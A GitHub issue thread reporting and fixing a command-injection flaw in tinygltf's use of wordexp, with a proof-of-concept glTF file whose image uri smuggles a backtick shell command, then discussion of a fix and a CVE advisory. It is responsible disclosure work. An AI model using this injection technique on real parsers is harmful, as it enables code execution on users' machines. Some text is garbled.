enhancement

### oliverchang commented on Aug 16

#### Describe the issue

This is a security vulnerability. The wordexp call here allows arbitrary code execution

```
tinygltf/tiny_gltf.h
Line 2640 in 0fa56e2
2640  int ret = wordexp(quoted_path.c_str(), &p, 0);
```

when parsing a gltf file.

#### To Reproduce

- OS: Linux
- Compiler, compiler version, compile options: Clang 13.0.1-6

```
$ git clone https://github.com/syoyo/tinygltf
$ cd tinygltf && make all
$ echo '{"images":[{"uri":"a`echo iamhere > poc`"}], "asset":{"version":""}}' > payload.gltf
$ ./loader_example payload.gltf
$ cat poc
iamhere
```

#### **Expected behaviour**

The echo iamhere > poc command should not be executed and the poc file is not created in the CWD.

#### Additional context

This was found by OSS-Fuzz: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=49053

One potential fix here is to pass <code>wrdexp</code> to <code>wordexp</code> per https://man7.org/linux/man-pages/man3/wordexp.3.html

Owner

@oliverchang Thanks! In ExpandFilePath

tinygltf/tiny\_gltf.h

Line 1266 in 0fa56e2

std::string ExpandFilePath(const std::string &filepath, void \*userdata); 1266

wordexp is used to expand file path(i.e, expand environment variable, expand tilde( ~) when a file path contains such symbol).

But according to gITF spec https://registry.khronos.org/gITF/specs/2.0/gITF-2.0.html#uris , uri must be URI/IRI, so file(resource) path should not contain environment variables and tilde, so we need to use URI decoder/encoder instead of ExpandFilePath.

Related: #337

Owner

Disabled file path expansion(so no wordexp anymore) in this commit: 52ff00a

TODO: Proper/strict decoding/encoding of URI asset path:

tinygltf/tiny\_gltf.h

Thank you very much for the amazingly fast fix @syoyo!

Would it be possible to create a security advisory (and CVE) for this via

https://github.com/syoyo/tinygltf/security/advisories so downstream users are notified? We (Google) can also help with this if you prefer.

@oliverchang Oh, I didn't know Github has a Security page 论 Will take a look it.

	i @syoyo, have you had a chance to try generating an advisory for this issue? It's a crucial part of the users of this library are notified of vulnerabilities (and that they need to update).	making
